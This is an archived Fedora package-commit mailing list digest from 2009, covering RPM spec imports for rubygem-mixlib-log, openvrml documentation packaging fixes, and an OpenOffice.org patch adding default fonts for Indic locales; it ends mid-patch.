+c8c5e1f3bfcfa91c0da3fa54af3b1abf  mixlib-config-1.0.12.gem



From mkent at fedoraproject.org  Thu Oct 15 06:05:27 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 06:05:27 +0000 (UTC)
Subject: rpms/rubygem-mixlib-log/devel import.log, NONE,
	1.1 rubygem-mixlib-log.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015060527.1070511C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-log/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3550/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-log.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-log-1_0_3-3_magoazul:HEAD:rubygem-mixlib-log-1.0.3-3.magoazul.src.rpm:1255586689


--- NEW FILE rubygem-mixlib-log.spec ---
# Generated from mixlib-log-1.0.3.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-log
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Ruby mixin for log functionality
Name: rubygem-%{gemname}
Version: 1.0.3
Release: 3%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-log
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A gem that provides a simple mixin for log functionality.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-3
- Missing complete source url (#526181).
- Remove unused ruby_sitelib macro (#526181).
- Remove redundant doc Requires on rubygems (#526181).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-2
- Remove redundant path in doc package (#526181).
- Use global over define (#526181).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-log/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:18:45 -0000	1.1
+++ .cvsignore	15 Oct 2009 06:05:25 -0000	1.2
@@ -0,0 +1 @@
+mixlib-log-1.0.3.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-log/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:18:45 -0000	1.1
+++ sources	15 Oct 2009 06:05:25 -0000	1.2
@@ -0,0 +1 @@
+dc7feaa879fd60b02f1787ffbb8a4cf9  mixlib-log-1.0.3.gem



From mkent at fedoraproject.org  Thu Oct 15 06:06:25 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 06:06:25 +0000 (UTC)
Subject: rpms/rubygem-mixlib-log/F-11 import.log, NONE,
	1.1 rubygem-mixlib-log.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015060625.9A37311C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-log/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4062/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-log.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-log-1_0_3-3_magoazul:F-11:rubygem-mixlib-log-1.0.3-3.magoazul.src.rpm:1255586760


--- NEW FILE rubygem-mixlib-log.spec ---
# Generated from mixlib-log-1.0.3.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-log
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Ruby mixin for log functionality
Name: rubygem-%{gemname}
Version: 1.0.3
Release: 3%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-log
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A gem that provides a simple mixin for log functionality.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-3
- Missing complete source url (#526181).
- Remove unused ruby_sitelib macro (#526181).
- Remove redundant doc Requires on rubygems (#526181).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-2
- Remove redundant path in doc package (#526181).
- Use global over define (#526181).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-log/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:18:45 -0000	1.1
+++ .cvsignore	15 Oct 2009 06:06:24 -0000	1.2
@@ -0,0 +1 @@
+mixlib-log-1.0.3.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-log/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:18:45 -0000	1.1
+++ sources	15 Oct 2009 06:06:25 -0000	1.2
@@ -0,0 +1 @@
+dc7feaa879fd60b02f1787ffbb8a4cf9  mixlib-log-1.0.3.gem



From mkent at fedoraproject.org  Thu Oct 15 06:07:15 2009
From: mkent at fedoraproject.org (Matthew Kent)
Date: Thu, 15 Oct 2009 06:07:15 +0000 (UTC)
Subject: rpms/rubygem-mixlib-log/F-12 import.log, NONE,
	1.1 rubygem-mixlib-log.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091015060715.F053311C00DB@cvs1.fedora.phx.redhat.com>

Author: mkent

Update of /cvs/pkgs/rpms/rubygem-mixlib-log/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4376/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-mixlib-log.spec 
Log Message:
- Initial CVS import



--- NEW FILE import.log ---
rubygem-mixlib-log-1_0_3-3_magoazul:F-12:rubygem-mixlib-log-1.0.3-3.magoazul.src.rpm:1255586804


--- NEW FILE rubygem-mixlib-log.spec ---
# Generated from mixlib-log-1.0.3.gem by gem2rpm -*- rpm-spec -*-
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname mixlib-log
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

%global rubyabi 1.8

Summary: Ruby mixin for log functionality
Name: rubygem-%{gemname}
Version: 1.0.3
Release: 3%{?dist}
Group: Development/Languages
License: ASL 2.0
URL: http://github.com/opscode/mixlib-log
Source0: http://gems.opscode.com/gems/%{gemname}-%{version}.gem
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires: ruby(rubygems)
Requires: ruby(abi) = %{rubyabi}
BuildRequires: ruby(rubygems)
BuildRequires: ruby(abi) = %{rubyabi}
BuildRequires(check): rubygem(rake), rubygem(rspec)
BuildArch: noarch
Provides: rubygem(%{gemname}) = %{version}

%description
A gem that provides a simple mixin for log functionality.

%package doc
Summary: Documentation for %{name}
Group: Documentation

Requires: %{name} = %{version}-%{release}

%description doc
This package contains documentation for %{name}.

%prep
%setup -q -c -T

%build
mkdir -p .%{gemdir}
gem install -V \
  --local \
  --install-dir $(pwd)/%{gemdir} \
  --force --rdoc \
  %{SOURCE0}

%install
rm -rf %{buildroot}
mkdir -p %{buildroot}%{gemdir}
cp -a .%{gemdir}/* %{buildroot}%{gemdir}/

%clean
rm -rf %{buildroot}

%check
pushd .%{geminstdir}
rake spec

%files
%defattr(-, root, root, -)
%doc %{geminstdir}/LICENSE
%doc %{geminstdir}/README.rdoc
%dir %{geminstdir}
%{geminstdir}/Rakefile
%{geminstdir}/VERSION.yml
%{geminstdir}/lib
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec

%files doc
%defattr(-,root,root,-)
%{geminstdir}/spec
%{gemdir}/doc/%{gemname}-%{version}

%changelog
* Mon Oct 5 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-3
- Missing complete source url (#526181).
- Remove unused ruby_sitelib macro (#526181).
- Remove redundant doc Requires on rubygems (#526181).

* Sun Oct 4 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-2
- Remove redundant path in doc package (#526181).
- Use global over define (#526181).

* Mon Sep 28 2009 Matthew Kent <mkent at magoazul.com> - 1.0.3-1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-log/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	10 Oct 2009 22:18:45 -0000	1.1
+++ .cvsignore	15 Oct 2009 06:07:15 -0000	1.2
@@ -0,0 +1 @@
+mixlib-log-1.0.3.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-mixlib-log/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	10 Oct 2009 22:18:45 -0000	1.1
+++ sources	15 Oct 2009 06:07:15 -0000	1.2
@@ -0,0 +1 @@
+dc7feaa879fd60b02f1787ffbb8a4cf9  mixlib-log-1.0.3.gem



From braden at fedoraproject.org  Thu Oct 15 06:08:19 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Thu, 15 Oct 2009 06:08:19 +0000 (UTC)
Subject: rpms/openvrml/F-11 openvrml.spec,1.75,1.76
Message-ID: <20091015060819.D0EF911C00DB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4669/F-11

Modified Files:
	openvrml.spec 
Log Message:
Copy README, etc. to %{_docdir} in %install so that we can use absolute paths with %doc; the relative form invokes an rm -rf that blows away the Doxygen docs.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-11/openvrml.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- openvrml.spec	14 Oct 2009 07:29:26 -0000	1.75
+++ openvrml.spec	15 Oct 2009 06:08:19 -0000	1.76
@@ -108,6 +108,7 @@ Group:          Documentation
 Requires:       %{name} = %{version}-%{release}
 BuildArch:      noarch
 %description doc
+OpenVRML API documentation.
 
 %prep
 %setup
@@ -126,6 +127,7 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{__rm} %{buildroot}%{_libdir}/mozilla/plugins/openvrml.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/node/*.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/script/*.la
+%{__cp} AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS %{buildroot}%{_docdir}/%{name}-%{version}
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -135,7 +137,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %postun -p /sbin/ldconfig
 
 %files
-%doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
+%doc %{_docdir}/%{name}-%{version}/AUTHORS
+%doc %{_docdir}/%{name}-%{version}/COPYING.LESSER
+%doc %{_docdir}/%{name}-%{version}/ChangeLog
+%doc %{_docdir}/%{name}-%{version}/NEWS
+%doc %{_docdir}/%{name}-%{version}/README
+%doc %{_docdir}/%{name}-%{version}/THANKS
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
 %{_datadir}/openvrml/component/*.xml
@@ -203,9 +210,14 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_datadir}/openvrml-player/ui/openvrml-player.ui
 
 %files doc
-%{_docdir}/%{name}-%{version}/manual
+%doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
+* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com>
+- Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
+  paths with %%doc; the relative form invokes an rm -rf that blows away the
+  Doxygen docs.
+
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.
 - Put openvrml-doc package contents in %%{_docdir}/%%{name}-%%{version}.



From braden at fedoraproject.org  Thu Oct 15 06:08:20 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Thu, 15 Oct 2009 06:08:20 +0000 (UTC)
Subject: rpms/openvrml/F-12 openvrml.spec,1.78,1.79
Message-ID: <20091015060820.1A59211C00DB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4669/F-12

Modified Files:
	openvrml.spec 
Log Message:
Copy README, etc. to %{_docdir} in %install so that we can use absolute paths with %doc; the relative form invokes an rm -rf that blows away the Doxygen docs.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/F-12/openvrml.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- openvrml.spec	14 Oct 2009 07:29:26 -0000	1.78
+++ openvrml.spec	15 Oct 2009 06:08:19 -0000	1.79
@@ -108,6 +108,7 @@ Group:          Documentation
 Requires:       %{name} = %{version}-%{release}
 BuildArch:      noarch
 %description doc
+OpenVRML API documentation.
 
 %prep
 %setup
@@ -126,6 +127,7 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{__rm} %{buildroot}%{_libdir}/mozilla/plugins/openvrml.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/node/*.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/script/*.la
+%{__cp} AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS %{buildroot}%{_docdir}/%{name}-%{version}
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -135,7 +137,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %postun -p /sbin/ldconfig
 
 %files
-%doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
+%doc %{_docdir}/%{name}-%{version}/AUTHORS
+%doc %{_docdir}/%{name}-%{version}/COPYING.LESSER
+%doc %{_docdir}/%{name}-%{version}/ChangeLog
+%doc %{_docdir}/%{name}-%{version}/NEWS
+%doc %{_docdir}/%{name}-%{version}/README
+%doc %{_docdir}/%{name}-%{version}/THANKS
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
 %{_datadir}/openvrml/component/*.xml
@@ -204,9 +211,14 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_datadir}/openvrml-player/ui/openvrml-player.ui
 
 %files doc
-%{_docdir}/%{name}-%{version}/manual
+%doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
+* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com>
+- Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
+  paths with %%doc; the relative form invokes an rm -rf that blows away the
+  Doxygen docs.
+
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.
 - Put openvrml-doc package contents in %%{_docdir}/%%{name}-%%{version}.



From braden at fedoraproject.org  Thu Oct 15 06:08:20 2009
From: braden at fedoraproject.org (Braden McDaniel)
Date: Thu, 15 Oct 2009 06:08:20 +0000 (UTC)
Subject: rpms/openvrml/devel openvrml.spec,1.79,1.80
Message-ID: <20091015060820.65B9911C00DB@cvs1.fedora.phx.redhat.com>

Author: braden

Update of /cvs/pkgs/rpms/openvrml/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4669/devel

Modified Files:
	openvrml.spec 
Log Message:
Copy README, etc. to %{_docdir} in %install so that we can use absolute paths with %doc; the relative form invokes an rm -rf that blows away the Doxygen docs.


Index: openvrml.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvrml/devel/openvrml.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- openvrml.spec	14 Oct 2009 07:29:27 -0000	1.79
+++ openvrml.spec	15 Oct 2009 06:08:20 -0000	1.80
@@ -108,6 +108,7 @@ Group:          Documentation
 Requires:       %{name} = %{version}-%{release}
 BuildArch:      noarch
 %description doc
+OpenVRML API documentation.
 
 %prep
 %setup
@@ -126,6 +127,7 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{__rm} %{buildroot}%{_libdir}/mozilla/plugins/openvrml.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/node/*.la
 %{__rm} %{buildroot}%{_libdir}/openvrml/script/*.la
+%{__cp} AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS %{buildroot}%{_docdir}/%{name}-%{version}
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -135,7 +137,12 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %postun -p /sbin/ldconfig
 
 %files
-%doc AUTHORS COPYING.LESSER ChangeLog NEWS README THANKS
+%doc %{_docdir}/%{name}-%{version}/AUTHORS
+%doc %{_docdir}/%{name}-%{version}/COPYING.LESSER
+%doc %{_docdir}/%{name}-%{version}/ChangeLog
+%doc %{_docdir}/%{name}-%{version}/NEWS
+%doc %{_docdir}/%{name}-%{version}/README
+%doc %{_docdir}/%{name}-%{version}/THANKS
 %dir %{_datadir}/openvrml
 %dir %{_datadir}/openvrml/component
 %{_datadir}/openvrml/component/*.xml
@@ -203,9 +210,14 @@ CXXFLAGS="%optflags -fvisibility=hidden 
 %{_datadir}/openvrml-player/ui/openvrml-player.ui
 
 %files doc
-%{_docdir}/%{name}-%{version}/manual
+%doc %{_docdir}/%{name}-%{version}/manual
 
 %changelog
+* Thu Oct 15 2009  Braden McDaniel  <braden at endoframe.com>
+- Copy README, etc. to %%{_docdir} in %%install so that we can use absolute
+  paths with %%doc; the relative form invokes an rm -rf that blows away the
+  Doxygen docs.
+
 * Wed Oct 14 2009  Braden McDaniel  <braden at endoframe.com>
 - Moved jar file and javadoc to openvrml-java subpackage.
 - Put openvrml-doc package contents in %%{_docdir}/%%{name}-%%{version}.



From dtardon at fedoraproject.org  Thu Oct 15 06:38:33 2009
From: dtardon at fedoraproject.org (David Tardon)
Date: Thu, 15 Oct 2009 06:38:33 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch,
	NONE, 1.1 openoffice.org.spec, 1.2037, 1.2038
Message-ID: <20091015063833.D613211C00DB@cvs1.fedora.phx.redhat.com>

Author: dtardon

Update of /cvs/extras/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14623

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch 
Log Message:
Resolves: rhbz#529127 [Indic][Various] Default font in oowriter is not Language Default (Lohit or Other), but DejaVu Sans



openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch:
 VCL.xcu |  140 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 140 insertions(+)

--- NEW FILE openoffice.org-3.2.0.ooo105914.officecfg.default-fonts-for-indic-locales.patch ---
Index: officecfg/registry/data/org/openoffice/VCL.xcu
===================================================================
--- officecfg/registry/data/org/openoffice/VCL.xcu	(revision 276736)
+++ officecfg/registry/data/org/openoffice/VCL.xcu	(working copy)
@@ -825,6 +825,46 @@
         <value>Lohit Nepali;Kalimati;Samanata;Sans</value>
       </prop>
     </node>
+    <node oor:name="as-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Assamese;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="bn-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Bengali;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
     <node oor:name="hi-IN" oor:op="replace">
       <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
         <value>Lohit Hindi;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
@@ -865,6 +905,86 @@
         <value>Lohit Gujarati;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
       </prop>
     </node>
+    <node oor:name="kn-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Kannada;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="mai-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_SPREADSHEET" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_TEXT" oor:op="replace" oor:type="xs:string">
+        <value>Lohit Maithili;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+    </node>
+    <node oor:name="ml-IN" oor:op="replace">
+      <prop oor:name="UI_SANS" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Supplement;Andale Sans UI;Arial Unicode MS;Lucida Sans Unicode;clearlyU;Interface User;WarpSans;Geneva;MS Sans Serif;Helv;Dialog;Albany AMT;Albany;Lucida;Arial;Nimbus Sans L;Helvetica;Charcoal;Chicago;Helmet;Interface System;Sans Serif</value>
+      </prop>
+      <prop oor:name="CTL_DISPLAY" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_HEADING" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
+      <prop oor:name="CTL_PRESENTATION" oor:op="replace" oor:type="xs:string">
+        <value>Meera;Tahoma;Lucidasans;Lucida Sans;Arial Unicode MS</value>
+      </prop>
